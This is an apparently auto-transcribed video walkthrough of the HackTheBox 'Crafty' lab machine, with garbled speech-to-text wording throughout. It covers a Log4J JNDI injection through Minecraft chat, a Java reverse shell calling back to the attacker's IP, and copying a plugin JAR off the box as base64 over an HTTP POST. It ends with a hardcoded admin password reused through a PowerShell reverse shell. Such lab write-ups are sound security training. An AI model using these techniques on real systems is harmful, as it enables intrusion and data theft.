text: what's going on YouTube this is ipag I'm doing crafty from hack the box which if you just do the default end map scan you'll only get one port back and that's a website however the website advertises there's a Minecraft server running so if you do a full end map scan you discover what port that is and if you had scripts it even tells you what version is running looking at the version It's several years old and vulnerable to log 4J now you can go and download the whole Minecraft game and send the chat message with log for J to get code execution but the easier way is to just find a command line client and send the chat message that way using a basic log for J um proof of concept script you can get code execution on the box and then once you're on there you look at the plugins you discover there is a custom plugin

title: HackTheBox - Crafty


text: written uh pulling down that jar decompiling it you can discover some hardcoded credentials that is the administrator password and you can use that to login as root so with that being said let's jump in as always we start with an end map so- for default scripts SV enumerator versions dvv for double verose that way we get the TTL and things like that then OA outp put all formats play the end map directory and call it crafty then the IP address of 1010 11249 this can take some time to run so I've already ran it looking at the results we have just one port open and that is HTTP on Port 80 its TTL is telling us it's 127 the banner tells us it's running Microsoft is httpd and it is redirecting us to crafty htb so let's go take a look at the website first I'm going to add uh crafty htb to my host file so 1010

title: HackTheBox - Crafty


text: 11249 we can add that in and then let's go take a look at it so I'm going to go HTTP cy. htb and it looks like we have a portal to like a Minecraft server there's a form store and voting and each one of those just says coming soon there's also another domain play. cy.

title: HackTheBox - Crafty


text: htb so let's go ahead and add that to the host file as well and taking a look at this website we get the same thing uh we can also look at the page source to see if we can find what type of website this is maybe it looks like just a static website we can try things like index.php um aspx this is a Windows Server um HTML redirects us to /home which is a little bit odd behavior I'm not sure what type of web server this is is it looks like maybe a nodejs I'm just saying that because it's redirecting tohome but um I really have no idea we could do gobster to try to find other files maybe a virtual host enumeration but this website really looks like there is a Minecraft server running so I'm going to do a full port scan real quick just to see if there's any other ports so I'm going to do pseudo nm- p- and

title: HackTheBox - Crafty


text: then- V so it shows us open ports as it finds them and we can do D- Min rate is equal to 10 th000 packets per second and then the IP address of 10101 11249 this is going to take around 7 Seconds to run because we're sending 10,000 packets at a time and normally I don't like doing this because when you send packets this quickly you can overload the server Network or maybe just miss open ports and when you run a scan and it doesn't give you the information you want you may take a long time to rerun that scan so um missing data is very very bad at this stage of the game but doing just a quick end map scan on one host probably is fine we get a second Port we can do the end map flags and then specify this port just so we run scripts against this to see um what this is and what did we miss I forgot to do and

title: HackTheBox - Crafty


text: map and normally when I poke at things I'm guessing this is going to be like the Minecraft server Port um because when we did the end map on that quick port scan it even told us the service was Minecraft uh we could download like the Minecraft video game but I normally like going for like a command line client or something like that first uh we see Minecraft version 1.6.5 so before you even go download any like Minecraft client uh let's just look at the release notes for Minecraft on this version uh let's see Java Edition 1165 and we see it was released January 2021 one so this is relatively old if we Google like Minecraft exploit on this version let's see it is vulnerable to log 4J um which is a relatively old exploit so let's go test this out um log for J actually was found against Minecraft

title: HackTheBox - Crafty


text: it's kind of funny that a video game led to like one of the bigger exploits of the decade because LJ affected a lot of java applications but uh let's just Google m inecraft client and if memory serves all we have to do to exploit this is um send a message to the chat so I'm looking for a console client so we can connect to the Minecraft server and then we can just send a message right so I'm going to go over to the releases we want Linux x64 we will copy this link we'll do a WG and I want to move this just to call make it a bit small I'm going to call it like M CLI for like Minecraft CLI sod plus X and let's do a d-el to see how to use this uh we just need a username then a password then the server so I'm going to do 101 11249 I guess it wants us to hit enter for a password and we get connected and apparently we died in the

title: HackTheBox - Crafty


text: game that was quick so I'm going to do NC lvmp let's do 389 we're going to send a example payload to this so we can do slel and get a list of all the commands we can do SL send and then the log for J payload is just jndi ldap uh I think it's JL I think this is it uh 10 10 11 or 14 8 389 9 Let's test this out did I remember it yes I did so with this uh we make the connection back so we validated it is vulnerable and it makes a few connections back whenever you do it um but if we wanted to exfill other things like before we go exploiting this you can just kind of blindly do it but Java is very picky about things like the class path the version things like that uh we should xfill more information and to xfill we can just do a nested thing and um I think Java colon version should get us the Java

title: HackTheBox - Crafty


text: version but when we do this all we're getting is the very beginning of the packet right um we need to actually send the hello back so I'm going to actually Google o xdf log Forge which is another log Forge a machine I actually created this machine for the UHC um but in his blog post there is a tweet from I think hacker fantastic yeah that has a different command to run and this is actually going to send the hello right so let's just put a pseudo so netcat can listen on that port and if you look at it Ox xdf does go through what those packets mean right it's just responding back to that ldap request so now when I do this send we get get Java version 18171 so we know we are on um Java let's see what was that Java 18 update 171 is the version that's being used um we can also get the class path

title: HackTheBox - Crafty


text: by doing uh CIS java. class. paath and if you want to learn more about log Forge a you can go my log Forge video where we do log for a few different ways um I'm guessing that payload did not work let's see sis do that is weird oh when I copy and pasted this I left a space on and when you have a space before the command it doesn't go in the history so my up Arrow did not work so that's what what happened there um let's resend this uh let's go back up so we can grab this payload copy SL send there we go so we get the class path and it's just um there's no like um information like I'm used to seeing like common Collections and things like that in it um so I don't think we can use um the normal way we exploit this with uh yso serial because I don't see any um actual libraries loading with this

title: HackTheBox - Crafty


text: server.jar um so we Google just a basic log forj oh let's see what is it ji I want to pull up that one exploit um is it j& exploit kit so normally in past videos I used this Jan exploit kit we're not going to be doing this first because we didn't see any vulnerable gadgets right this is like a wrapper around yo serial where you can do like the common collections payload and things like that so if I saw a common collections from that class path then I would have definitely went over to that but since I didn't um I'm just going to Google what is it log 4J exploit p and see if it actually just lets us run um Java libraries off of a web server not all log forj things um allow this so this is one of the things you just have to kind of test out and see if it works if we go in this look at the

title: HackTheBox - Crafty


text: P um it's got a Java reverse shell program and what this is going to do is it compiles it to a class file and then just serves this off a web server um the one thing we will have to change is the CMD we want this to be cmd.exe instead of bin. bash or bsh because we're on attacking a Windows Server right so the other thing we have to do with this uh p and if we looked at the um notes let's see it wants us to put a uh Java version into it and this requires us logging into Oracle which I don't want to do in this video so I'm just going to copy it but if you want here you could just download one of the jdks right and if it wasn't um version 8 we would download a different jdk right you just want to match what the server is you don't have to match what the update is but you just have to match the main

title: HackTheBox - Crafty


text: version like seven8 whatever it is um um and I think that goes in the Target directory so I'm just going to do ACP user lib jvm because I have a jdk here I'm going to copy it into Target and where does it want it um I don't know where it wants me to copy it to I'll rename it after we run this so let's do p.p d-el we want user IP 101048 uh webport this is the one it h that class file off of and then L Port is going to be 901 that is the reverse shell Port so we can say n cvnp 901 we run this and it needs that directory to be called this so let's rename that let's go to Target move okay I just have a different update revision there that's fine let's see no such file doesn't want to be in the Target directory right LS oh shoot uh move there we go third times the charmm right there we go so now we have this

title: HackTheBox - Crafty


text: and it wants us to send this payload and what that's going to do is it calls back to the ldap server the um ldap server sends another request that tells it to go download a payload off my HTTP server and then goes and does that so let's do SL send this and we get a call back so now we have a shell on this web server we can do a dir and see what files are here um the first thing I'm going to do is like a netstat d and I want to see if like I see my SQL or what like any type of database port and I don't any database ports open because the first thing I want to do is just like grab all the passwords right we could also look at server.

title: HackTheBox - Crafty


text: properties and see if there's any credentials in this and I don't see any credentials we can do a whoi all to see if we have like any dangerous privileges it does not look like we do we are the service Minecraft user if we do a DI um there are logs and plugins if we look at plugins uh there is this player counter 1.0 snapshot. jar and if we did some research on this this is not a standard plugin so we want to copy this over to our box so let's see I'm going to kill that we can make their let's go up one make dubdub dub uh let's see pseudo SMB oh we want to do impacket SMB server share PWD but we need to do smb2 support it's just one dash there we go so now I should be able to x copy player to 101048 uh player. jar and it doesn't look like it likes my impacket web server and every now and then Windows just doesn't like copying

title: HackTheBox - Crafty


text: to impact its web server I don't know exactly why um but we can xill this over HTTP easily enough um I'm going to convert this jar file into base 64 so we're going to do uh Powershell then we can say b64 is equal to system convert to base 64 string um get content path player where is the spelling okay let's make sure it's encoded in byes value can't be null let's try that again B6 4 is equal to system convert to base 64 string GC Das path this- encoding bite there we go I had a typ her somewhere so we now have that as base 64 so what I'm going to do is NC lvmp 8000 and I'm going to call this player. jar.

title: HackTheBox - Crafty


text: b64 and we're going to do a invoke web request-uri HTP 101048 8000 we're going to tell it to post and we're going to put that in the body I'm going to give it a second and it's now just making that web request over to me I probably should have built like a proper web server to do this um properly but this is a dirty hack that you can do do xfill files um I'm just going to delete the header and we're left with this Bas 64 so we can do Bas 64- D player. that to player.

title: HackTheBox - Crafty


text: jar um if we look at this it starts with PK we see Meta this looks like it could be an actual jar file right so it looks like we did copy it we have player counter. class so what we want to do now is get JD goey so we can open up this jar file and see what is there so here let's go download JD goey save it move downloads JD goey Java jar and let's do open player jar and we can look at the source code and we can see what it's doing it looks like we're just um making connection I don't know what 27015 is that like some type of java R that's probably an RMI Port um I don't know what archon is authenication not exactly sure what that is it's probably RMI um um Port 27015 is that some default thing I don't know but we have this which looks like it is a password right um if we look at archon does it tell us

title: HackTheBox - Crafty


text: everything string host so you got host port and password so we know this is a password so let's try this out for various accounts so I'm going to go back to my Powershell and we're going to do a net user and we want to try this for administrator and Jacob it could be one of those right um the 445 wasn't exposed we could like upload chisel and then um proxy chains crack map exec or net exec now it's called and do it that way um but I don't like showing the same thing every time so we're just going to do it through Powershell I'm going to do SEC pass and we're going to say convert to secure string and then we're going to paste the password we say it's plain text and then force and because it's going to give us a warning like you don't want to do this I'm like yeah I do so let's now look at that we have a secure string

title: HackTheBox - Crafty


text: so we can create our credential object so we can do new object um system management automation PS credential and then the username so administrator and then the um password object so we can do secure pass if we look at this we have a credential object so now we could like try enter PS session um- cred cred that's what we called it yep and it looks like um we need a computer name so let's do computer name of let's see what is my hear name crafty so we can say computer name crafty and see if this works it's taking its time looks like it's trying to connect we could have done like a net stat to see if 15 whatever's open right we go back to a net stat command uh let's see I don't see 5985 or 5986 so Powershell remoting probably is not going to work um hopefully this doesn't hang indefinitely that's going

title: HackTheBox - Crafty


text: to suck because i' have to get my shell again uh let's see yeah we can't connect so another way we could do this is through start process um I'm going to get some base 64 of a reverse shell so I'm going to copy user share Nang uh shells invoke Powershell TCP on line PS1 and let's edit it and let's see I'm going to change this to be 10 1048 and then this can be Port 91 and we're going to convert this to base 64 so going to cat this then I convert DT for a Target UTF 16 little Indian because that's how um Powers Shaw likes it and then we can base 64 like that copy and then let's go back here n cvnp 901 and let's now do a start process file path Powershell then argument list I'm going to say DC for encoded command we're going to paste that Powershell and then- credential cred uh let's see did not like that start

title: HackTheBox - Crafty


text: process Bith Powershell then argument list dasc paste credential cred I wonder if this is too long of a command let's see I'm going to try it with the other one CP user let's just rerun this copy and I'm going to use the smaller payload because maybe there's like a buffer of how long argument list can be oh bollocks let's redo this 10 10 148 9,1 there we go this is a little bit smaller smaller start process file path Powershell argument list DC paste Das credential cred there we go maybe I made it the same typo twice or maybe that command was just too long right but now we have um um a shell as administrator if we do PWD we can go CD users administrator desktop uh and get root. text right so that is going to be the Box hope you guys enjoyed it take care and I'll see you all next time

title: HackTheBox - Crafty